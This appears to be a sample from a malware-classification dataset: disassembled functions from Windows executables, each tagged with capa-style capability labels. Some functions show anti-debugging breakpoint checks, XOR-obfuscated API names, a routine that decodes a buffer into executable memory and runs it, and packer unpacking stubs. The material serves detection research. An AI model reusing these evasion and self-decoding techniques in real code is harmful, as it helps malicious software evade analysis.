joyce8/EMBER2024-capa huggingface dataset:
Function at 0x5786d0
Capabilities:
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5e0b70
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x18
mov eax, dword [ecx + 0xc]
push ebx
xor edx, edx
cmp eax, edx
push esi
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], edx
mov dword [ebp - 4], edx
jne 0x578718
push 0x63837c
lea eax, [ebp - 0x1c]
push eax
mov dword [ebp - 0x1c], 0x618908
call sub.msvcr71.dll__CxxThrowException
mov edx, dword [ebp + 0xc]
lea ecx, [ebp - 0x18]
push ecx
mov ecx, dword [ebp + 8]
push edx
push ecx
push eax
call dword [sym.imp.wininet.dll_InternetReadFile]
test eax, eax
jne 0x578778
push 0x63837c
lea edx, [ebp - 0x20]
push edx
mov dword [ebp - 0x20], 0x6188f4
call sub.msvcr71.dll__CxxThrowException
mov esi, dword [ebp - 0x14]
mov eax, dword [esi + 0xc]
push eax
call dword [sym.imp.wininet.dll_InternetCloseHandle]
mov dword [esi + 0xc], 0
mov eax, 0x578778
ret
mov ecx, dword [ebp - 0xc]
mov eax, dword [ebp - 0x18]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x578f10
Capabilities:
Get file size

Disassembly:
sub esp, 8
mov eax, dword [ecx + 0x90]
xor edx, edx
test eax, eax
mov dword [esp + 4], ecx
mov dword [esp], edx
jbe 0x578fb8
mov eax, dword [ecx + 0x8c]
push ebx
mov ebx, dword [eax]
cmp ebx, eax
je 0x578fb1
push ebp
mov ebp, dword [sym.imp.KERNEL32.DLL_CreateFileA]
push esi
push edi
mov eax, dword [ebx + 8]
cmp byte [eax + 0x38], 0
je 0x578f90
cmp dword [eax + 0x34], 0x10
jb 0x578f54
mov eax, dword [eax + 0x20]
jmp 0x578f57
add eax, 0x20
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
push eax
call ebp
mov edi, eax
push 0
push edi
call dword [sym.imp.KERNEL32.DLL_GetFileSize]
mov esi, eax
push edi
add esi, 0x1800
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov edx, dword [esp + 0x10]
mov ecx, dword [esp + 0x14]
jmp 0x578f95
mov esi, 0x2000
mov ebx, dword [ebx]
mov eax, dword [ecx + 0x8c]
add edx, esi
cmp ebx, eax
mov dword [esp + 0x10], edx
jne 0x578f40
pop edi
pop esi
pop ebp
mov eax, edx
pop ebx
add esp, 8
ret
mov eax, edx
pop ebx
add esp, 8
ret
mov eax, edx
add esp, 8
ret
Function at 0x587210
Capabilities:
Check for software breakpoints

Disassembly:
sub esp, 0x40
mov ecx, dword [0x619e38]
mov eax, dword [0x644904]
mov edx, dword [0x619e3c]
xor eax, esp
mov dword [esp + 4], ecx
mov ecx, dword [0x619e24]
mov dword [esp + 0x10], ecx
mov cx, word [0x619e30]
push ebx
push esi
push edi
mov word [esp + 0x28], cx
mov ecx, 6
mov esi, 0x619e08
lea edi, [esp + 0x2c]
rep movsd dword es:[edi], dword [esi]
mov dword [esp + 0x48], eax
mov eax, dword [0x619e34]
mov dword [esp + 0xc], eax
mov al, byte [0x619e40]
mov dword [esp + 0x14], edx
mov edx, dword [0x619e28]
movsb byte es:[edi], byte [esi]
mov byte [esp + 0x18], al
mov eax, dword [0x619e2c]
mov dword [esp + 0x20], edx
mov esi, 0x7f
lea edx, [esp + 0xc]
xor ecx, ecx
mov dword [esp + 0x24], eax
sub esi, edx
mov edi, edi
lea eax, [esp + ecx + 0xc]
lea edx, [esi + eax]
and edx, 0x800000ff
jns 0x5872a7
dec edx
or edx, 0xffffff00
inc edx
mov bl, byte [eax]
xor bl, dl
inc ecx
cmp ecx, 0xc
mov byte [eax], bl
jl 0x587290
lea eax, [esp + 0xc]
push eax
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
mov ebx, eax
xor ecx, ecx
lea eax, [esp + ecx + 0xc]
lea edx, [esi + eax]
and edx, 0x800000ff
jns 0x5872d9
dec edx
or edx, 0xffffff00
inc edx
xor byte [eax], dl
inc ecx
cmp ecx, 0xc
jl 0x5872c2
test ebx, ebx
jne 0x5872f9
pop edi
pop esi
xor eax, eax
pop ebx
mov ecx, dword [esp + 0x3c]
xor ecx, esp
call fcn.005c8895
add esp, 0x40
ret
mov edi, 0x7f
lea eax, [esp + 0x1c]
xor ecx, ecx
sub edi, eax
jmp 0x587310
lea eax, [esp + ecx + 0x1c]
lea edx, [edi + eax]
and edx, 0x800000ff
jns 0x587327
dec edx
or edx, 0xffffff00
inc edx
xor byte [eax], dl
inc ecx
cmp ecx, 0xd
jl 0x587310
push ebp
mov ebp, dword [sym.imp.KERNEL32.DLL_GetProcAddress]
lea eax, [esp + 0x20]
push eax
push ebx
call ebp
mov esi, eax
neg esi
sbb esi, esi
neg esi
xor edx, edx
jmp 0x587350
lea ecx, [esp + edx + 0x20]
lea eax, [edi + ecx]
and eax, 0x800000ff
jns 0x587365
dec eax
or eax, 0xffffff00
inc eax
xor byte [ecx], al
inc edx
cmp edx, 0xd
jl 0x587350
test esi, esi
jne 0x587386
pop ebp
pop edi
pop esi
xor eax, eax
pop ebx
mov ecx, dword [esp + 0x3c]
xor ecx, esp
call fcn.005c8895
add esp, 0x40
ret
mov esi, 0x7f
lea edx, [esp + 0x30]
xor ecx, ecx
sub esi, edx
lea eax, [esp + ecx + 0x30]
lea edx, [esi + eax]
and edx, 0x800000ff
jns 0x5873aa
dec edx
or edx, 0xffffff00
inc edx
xor byte [eax], dl
inc ecx
cmp ecx, 0x18
jl 0x587393
lea eax, [esp + 0x30]
push eax
push ebx
call ebp
mov edi, eax
xor edx, edx
mov edi, edi
lea ecx, [esp + edx + 0x30]
lea eax, [esi + ecx]
and eax, 0x800000ff
jns 0x5873d5
dec eax
or eax, 0xffffff00
inc eax
mov bl, byte [ecx]
xor bl, al
inc edx
cmp edx, 0x18
mov byte [ecx], bl
jl 0x5873c0
mov cl, byte [edi]
pop ebp
pop edi
xor eax, eax
cmp cl, 0xcc
mov ecx, dword [esp + 0x44]
pop esi
setne al
pop ebx
xor ecx, esp
call fcn.005c8895
add esp, 0x40
ret
Function at 0x587400
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push esi
push edi
call fcn.00587210
test eax, eax
je 0x587483
mov ecx, dword [0x6437e4]
mov edx, dword [0x656b80]
mov eax, ecx
shr ecx, 2
mov esi, 0x6437a0
mov edi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [0x6437e4]
xor eax, eax
test ecx, ecx
jle 0x587448
mov edi, edi
xor byte [eax + edx], al
inc eax
cmp eax, ecx
jl 0x587440
mov dword [edx + 0x1e], edx
add edx, 0x1d
mov dword [ebp - 4], edx
call dword [ebp - 4]
mov dword [ebp - 8], eax
mov ecx, dword [0x6437e4]
mov edi, dword [0x656b80]
mov edx, ecx
shr ecx, 2
xor eax, eax
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov ecx, dword [ebp - 8]
xor eax, eax
test ecx, ecx
sete al
pop edi
pop esi
mov esp, ebp
pop ebp
ret
pop edi
pop esi
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x5874b0
Capabilities:
Allocate or change rwx memory

Disassembly:
push pe_nt_image_headers32
push 0x3000
push 0x80
push 0
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov dword [0x656b80], eax
ret

Function at 0x58e6d0
Capabilities:
Hash data with md5

Disassembly:
mov eax, dword [esp + 4]
mov dword [eax + 4], 0
mov dword [eax], 0
mov dword [eax + 8], 0x67452301
mov dword [eax + 0xc], 0xefcdab89
mov dword [eax + 0x10], 0x98badcfe
mov dword [eax + 0x14], 0x10325476
ret
Function at 0x590020
Capabilities:
Get storage device properties

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x50c
mov eax, dword [0x644904]
xor eax, ebp
mov dword [esp + 0x508], eax
mov eax, dword [ebp + 8]
push ebx
push esi
mov dword [esp + 0x10], eax
xor al, al
xor esi, esi
push edi
mov byte [esp + 0xf], al
mov dword [esp + 0x10], esi
test al, al
jne 0x590213
mov byte [esp + 0x28], al
xor eax, eax
mov ecx, 0x3f
lea edi, [esp + 0x29]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov byte [esp + 0x128], 0
xor eax, eax
mov ecx, 0xf9
lea edi, [esp + 0x129]
rep stosd dword es:[edi], eax
push esi
stosw word es:[edi], ax
lea ecx, [esp + 0x2c]
push 0x61a5a4
push ecx
stosb byte es:[edi], al
call dword [sym.imp.user32.dll_wsprintfA]
add esp, 0xc
push 0
push 0
push 3
push 0
push 3
push 0
lea edx, [esp + 0x40]
push edx
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x590201
push 0x2710
push 8
mov dword [esp + 0x20], 0
call dword [sym.imp.KERNEL32.DLL_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.DLL_HeapAlloc]
mov esi, eax
xor edi, edi
cmp esi, edi
je 0x5901f6
push edi
lea ecx, [esp + 0x1c]
push ecx
push 0x2710
push esi
push 0xc
xor eax, eax
lea edx, [esp + 0x30]
push edx
mov dword [esp + 0x34], eax
mov dword [esp + 0x38], eax
push 0x2d1400
push ebx
mov dword [esp + 0x44], eax
mov dword [esp + 0x3c], edi
mov dword [esp + 0x40], edi
call dword [sym.imp.KERNEL32.DLL_DeviceIoControl]
test eax, eax
je 0x59016a
mov eax, dword [esi + 0x18]
cmp eax, edi
je 0x59016a
lea ecx, [esp + 0x128]
push ecx
add eax, esi
push eax
call fcn.00590a60
lea edx, [esp + 0x130]
push edx
call fcn.00590c50
mov eax, dword [esp + 0x134]
add esp, 0xc
push eax
call dword [sym.imp.user32.dll_IsCharAlphaNumericA]
test eax, eax
je 0x59016a
mov ecx, dword [ebp + 0xc]
mov eax, dword [esp + 0x14]
push ecx
lea edx, [esp + 0x12c]
push edx
push eax
jmp 0x5901d8
xor eax, eax
push eax
mov ecx, 0x9c4
mov edi, esi
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x1c]
push ecx
push 0x2710
push esi
push eax
push eax
push 0x2d0c10
push ebx
call dword [sym.imp.KERNEL32.DLL_DeviceIoControl]
test eax, eax
je 0x5901e6
lea edx, [esi + 0x10]
push edx
lea eax, [esp + 0x12c]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcpy]
lea ecx, [esp + 0x128]
push ecx
call fcn.00590c50
mov edx, dword [esp + 0x12c]
add esp, 4
push edx
call dword [sym.imp.user32.dll_IsCharAlphaNumericA]
test eax, eax
je 0x5901e6
mov eax, dword [ebp + 0xc]
mov edx, dword [esp + 0x14]
push eax
lea ecx, [esp + 0x12c]
push ecx
push edx
call dword [sym.imp.msvcr71.dll_memmove]
add esp, 0xc
mov byte [esp + 0xf], 1
push esi
push 0
call dword [sym.imp.KERNEL32.DLL_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.DLL_HeapFree]
push ebx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov esi, dword [esp + 0x10]
mov al, byte [esp + 0xf]
inc esi
cmp esi, 0x10
mov dword [esp + 0x10], esi
jl 0x590050
mov ecx, dword [esp + 0x514]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.005c8895
mov esp, ebp
pop ebp
ret
Function at 0x590750
Capabilities:
Initialize winsock library

Disassembly:
sub esp, 0x194
mov eax, dword [0x644904]
xor eax, esp
mov dword [esp + 0x190], eax
lea eax, [esp]
push eax
push 2
call sub.ws2_32.dll_WSAStartup
test eax, eax
jne 0x59079b
mov eax, dword [0x656ba0]
test eax, eax
jne 0x5907b2
push 0x61a638
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
cmp eax, 0x20
mov dword [0x656ba0], eax
jae 0x5907b2
mov dword [0x656ba0], 0
xor al, al
mov ecx, dword [esp + 0x190]
xor ecx, esp
call fcn.005c8895
add esp, 0x194
ret
mov ecx, dword [fcn.00656ba4]
test ecx, ecx
push esi
mov esi, dword [sym.imp.KERNEL32.DLL_GetProcAddress]
jne 0x5907ec
push 0x61a624
push eax
call esi
test eax, eax
mov dword [fcn.00656ba4], eax
jne 0x5907ec
xor al, al
pop esi
mov ecx, dword [esp + 0x190]
xor ecx, esp
call fcn.005c8895
add esp, 0x194
ret
push 0x656b98
push 0x656b94
call dword [sym.imp.KERNEL32.DLL_GetTickCount]
push eax
call dword [fcn.00656ba4]
mov eax, dword [0x656ba8]
test eax, eax
jne 0x590823
mov ecx, dword [0x656ba0]
push 0x61a610
push ecx
call esi
test eax, eax
mov dword [0x656ba8], eax
je 0x5907d4
mov eax, dword [fcn.00656bac]
test eax, eax
jne 0x590843
mov edx, dword [0x656ba0]
push 0x61a5fc
push edx
call esi
test eax, eax
mov dword [fcn.00656bac], eax
je 0x5907d4
mov eax, dword [0x656bb0]
test eax, eax
jne 0x590866
mov eax, dword [0x656ba0]
push 0x61a5e8
push eax
call esi
test eax, eax
mov dword [0x656bb0], eax
je 0x5907d4
mov ecx, dword [esp + 0x194]
pop esi
xor ecx, esp
mov al, 1
call fcn.005c8895
add esp, 0x194
ret

Function at 0x5adb37
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x5e0ca8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push ebx
push esi
mov esi, ecx
mov dword [esp + 8], esi
call fcn.005731f0
mov dword [esi], 0x61ea44
xor eax, eax
xor ebx, ebx
mov dword [esi + 0xc], ebx
mov dword [esi + 0x10], ebx
lea ecx, [esi + 0x14]
mov dword [ecx], eax
mov dword [ecx + 4], eax
mov dword [ecx + 8], eax
mov dword [ecx + 0xc], eax
mov dword [ecx + 0x10], eax
mov dword [ecx + 0x14], eax
lea ecx, [esi + 0x30]
mov dword [esp + 0x14], ebx
mov byte [esi + 0x2c], bl
call fcn.005adba0
lea ecx, [esi + 0x870]
call fcn.004eba00
mov ecx, dword [esp + 0xc]
mov dword [esi + 0x8dc], ebx
mov byte [esi + 0x8e0], bl
mov eax, esi
pop esi
pop ebx
mov dword fs:[0], ecx
add esp, 0x10
ret

Function at 0x5aeca7
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
push 0xffffffffffffffff
push 0x5e0ca8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push ebp
push esi
mov esi, ecx
push edi
mov dword [esp + 0xc], esi
call fcn.005731f0
mov dword [esp + 0x18], 0
mov dword [esi], 0x61ed5c
lea edi, [esi + 0x34]
mov ebp, 6
lea ebx, [ebx]
mov ecx, edi
call fcn.0055e640
add edi, 0x7c
dec ebp
jne 0x5aecd0
mov byte [esi + 0xd], 0
xor eax, eax
lea ecx, [esi + 0xe]
mov dword [ecx], eax
mov dword [ecx + 4], eax
mov dword [ecx + 8], eax
mov dword [ecx + 0xc], eax
mov dword [ecx + 0x10], eax
mov dword [ecx + 0x14], eax
mov dword [ecx + 0x18], eax
mov word [ecx + 0x1c], ax
mov ecx, dword [esp + 0x10]
mov byte [esi + 0x30], al
pop edi
mov eax, esi
pop esi
pop ebp
mov dword fs:[0], ecx
add esp, 0x10
ret
Function at 0x411539
Capabilities:
Terminate process

Disassembly:
push 0x14
push 0x42c668
call fcn.00411d81
push 1
call fcn.00411884
pop ecx
test al, al
jne 0x411558
push 7
call fcn.00411b88
xor bl, bl
mov byte [ebp - 0x19], bl
and dword [ebp - 4], 0
call fcn.0041184f
mov byte [ebp - 0x24], al
mov eax, dword [0x42ed34]
xor ecx, ecx
inc ecx
cmp eax, ecx
je 0x411551
test eax, eax
jne 0x4115c2
mov dword [0x42ed34], ecx
push 0x4252c0
push 0x4252a4
call fcn.0041a3ca
pop ecx
pop ecx
test eax, eax
je 0x4115a5
mov dword [ebp - 4], 0xfffffffe
mov eax, 0xff
jmp 0x4116a9
push 0x4252a0
push 0x425298
call fcn.0041a36e
pop ecx
pop ecx
mov dword [0x42ed34], 2
jmp 0x4115c7
mov bl, cl
mov byte [ebp - 0x19], bl
push dword [ebp - 0x24]
call fcn.004119e1
pop ecx
call fcn.00411b7c
mov esi, eax
xor edi, edi
cmp dword [esi], edi
je 0x4115f7
push esi
call fcn.00411954
pop ecx
test al, al
je 0x4115f7
push edi
push 2
push edi
mov esi, dword [esi]
mov ecx, esi
call fcn.00411d7b
call esi
call fcn.00411b82
mov esi, eax
cmp dword [esi], edi
je 0x411615
push esi
call fcn.00411954
pop ecx
test al, al
je 0x411615
push dword [esi]
call fcn.0041a68c
pop ecx
push edi
call fcn.00414a0f
pop ecx
call fcn.00411c9d
movzx eax, ax
push eax
call fcn.0041a31b
push eax
push edi
push 0x400000
call main
mov esi, eax
push edi
call fcn.00414aab
pop ecx
call fcn.0041a59b
test al, al
jne 0x41164e
push esi
call fcn.0041a6c4
test bl, bl
jne 0x411657
call fcn.0041a667
push edi
push 1
call fcn.004119fe
pop ecx
pop ecx
mov dword [ebp - 4], 0xfffffffe
mov eax, esi
jmp 0x4116a9
call fcn.00411dc7
ret
call fcn.004bf000
jmp 0x411539
Function at 0x401207
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x854
mov eax, dword [0x41a1e8]
xor edx, edx
push ebx
push esi
push edi
mov edi, ecx
mov dword [ebp - 0x20], eax
mov eax, dword [0x41a1ec]
lea ecx, [ebp - 0xc]
mov dword [ebp - 0x24], edi
mov dword [ebp - 0xc], edx
mov esi, dword [edi]
mov ebx, dword [edi + 4]
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x34], 0x9e3779b9
mov dword [ebp - 0x18], eax
call fcn.00401200
add dword [ebp - 0xc], 0x23f
cmp dword [0x311144c], 0x14
jne 0x401263
push edx
lea eax, [ebp - 0x454]
push eax
push edx
call dword [sym.imp.KERNEL32.dll_FindNextVolumeA]
mov ecx, dword [0x41a1f0]
mov edx, dword [0x41a1f4]
mov edi, dword [ebp - 0x18]
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x2c], edx
mov dword [ebp - 0x1c], 0x20
mov dword [ebp - 0x18], 2
add dword [ebp - 0x18], 3
mov eax, esi
mov dword [ebp - 8], 0xedeb2e40
shl eax, 4
add eax, ecx
cmp dword [0x311144c], 0xfa9
mov dword [ebp - 4], eax
mov eax, dword [0x3111448]
cmove eax, dword [ebp - 8]
and dword [ebp - 8], 0
cmp dword [0x311144c], 0x3eb
mov dword [0x3111448], eax
mov eax, dword [0x311139c]
cmove eax, dword [ebp - 8]
mov dword [0x311139c], eax
mov eax, dword [ebp - 0xc]
add eax, esi
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x14]
shr eax, 5
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 4]
add dword [ebp - 0x10], edx
and dword [ebp - 8], 0
mov dword [0x3111444], 0xf4ea3dee
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x28]
add dword [ebp - 8], eax
mov eax, dword [ebp - 8]
xor dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x14]
xor ecx, eax
cmp dword [0x311144c], 0x213
mov dword [ebp - 4], eax
mov dword [ebp - 0x10], ecx
jne 0x401359
lea eax, [ebp - 0x40]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetNumaNodeProcessorMask]
lea eax, [ebp - 0x854]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
lea eax, [ebp - 0x38]
push eax
push 0
lea eax, [ebp - 0x54]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_ReadConsoleInputA]
xor eax, eax
push eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_ChangeTimerQueueTimer]
mov ecx, dword [ebp - 0x10]
sub ebx, ecx
mov eax, ebx
shl eax, 4
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x20]
add dword [ebp - 4], eax
mov ecx, dword [ebp - 0x18]
mov edx, ebx
mov eax, dword [ebp - 0xc]
shr edx, cl
add eax, ebx
mov ecx, dword [ebp - 4]
add edx, edi
xor ecx, eax
mov dword [ebp - 0x10], edx
cmp dword [0x311144c], 0xb03
mov dword [ebp - 4], ecx
jne 0x40139c
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthA]
mov ecx, dword [ebp - 4]
mov edx, dword [ebp - 0x10]
xor ecx, edx
sub esi, ecx
mov dword [ebp - 4], ecx
mov dword [ebp - 0x14], esi
mov eax, dword [ebp - 0x34]
sub dword [ebp - 0xc], eax
dec dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x30]
mov edx, dword [ebp - 0x2c]
jne 0x40127f
mov edi, dword [ebp - 0x24]
mov dword [edi], esi
mov dword [edi + 4], ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40bb47
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x419c10]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x20], eax
call ebx
mov edi, eax
mov dword [ebp - 0x18], edi
call fcn.00406d97
mov dword [ebp - 0x14], eax
cmp dword [0x817b28], esi
jne 0x40bc3a
push 0x800
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x40bbc7
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x40bd1a
push esi
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
je 0x40bd1a
push str.MessageBoxW
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x40bd1a
push eax
call ebx
push str.GetActiveWindow
push edi
mov dword [0x817b28], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push edi
mov dword [0x817b2c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push edi
mov dword [0x817b30], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x817b38], eax
test eax, eax
je 0x40bc37
push str.GetProcessWindowStation
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x817b34], eax
mov edi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x40bc5f
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x40bc52
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], esi
je 0x40bc74
push 4
pop eax
jmp 0x40bd1c
cmp dword [ebp - 0x14], esi
je 0x40bc74
push dword [0x817b28]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x40bc59
mov eax, dword [0x817b34]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, edi
je 0x40bcd2
cmp dword [0x817b38], edi
je 0x40bcd2
push eax
call ebx
push dword [0x817b38]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x40bcd2
test eax, eax
je 0x40bcd2
call ecx
test eax, eax
je 0x40bcc7
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x40bcc7
test byte [ebp - 8], 1
jne 0x40bcd2
mov edi, dword [ebp + 0x10]
or edi, 0x200000
jmp 0x40bd02
mov eax, dword [0x817b2c]
cmp eax, edi
je 0x40bcff
push eax
call ebx
test eax, eax
je 0x40bcff
call eax
mov esi, eax
test esi, esi
je 0x40bcff
mov eax, dword [0x817b30]
cmp eax, edi
je 0x40bcff
push eax
call ebx
test eax, eax
je 0x40bcff
push esi
call eax
mov esi, eax
mov edi, dword [ebp + 0x10]
push dword [0x817b28]
call ebx
test eax, eax
je 0x40bd1a
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push esi
call eax
jmp 0x40bd1c
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040398d
mov esp, ebp
pop ebp
ret
Function at 0x431000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43100c
nop
nop
nop
pop eax
nop
nop
nop
add eax, 0x403e6a
sub eax, 0x403e10
nop
nop
nop
nop
nop
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
nop
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
nop
nop
add ebx, 4
nop
nop
cmp ebx, ecx
nop
nop
jl 0x431030
nop
nop
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
jne 0x43101e
nop
nop
nop
nop
popal
nop
nop
nop
nop
nop
jmp loc.00401219

Function at 0x41ad50
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, 0x411015
lea edi, [esi - 0x10015]
push edi
or ebp, 0xffffffff
jmp 0x41ad72
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x41ad79
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x41ad68
mov eax, 1
add ebx, ebx
jne 0x41ad8b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x41ad80
jne 0x41ad9c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x41ad80
xor ecx, ecx
sub eax, 3
jb 0x41adb0
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x41ae22
mov ebp, eax
add ebx, ebx
jne 0x41adbb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x41adc8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x41adec
inc ecx
add ebx, ebx
jne 0x41add8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x41adcd
jne 0x41ade9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x41adcd
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x41ae0c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x41adfd
jmp 0x41ad6e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x41ae0c
add edi, ecx
jmp 0x41ad6e
pop esi
mov edi, esi
mov ecx, 0x2b3
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x41ae2a
cmp byte [edi], 5
jne 0x41ae2a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x41ae2f
lea edi, [esi + 0x18000]
mov eax, dword [edi]
or eax, eax
je 0x41aea7
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x1a000]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x1a094]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x41ae5c
mov ecx, edi
jns 0x41ae8b
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x1a09c]
or eax, eax
je 0x41aea1
mov dword [ebx], eax
add ebx, 4
jmp 0x41ae79
call dword [esi + 0x1a098]
mov ebp, dword [esi + 0x1a0a0]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x19f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x41aedb
sub esp, 0xffffff80
jmp 0x404c20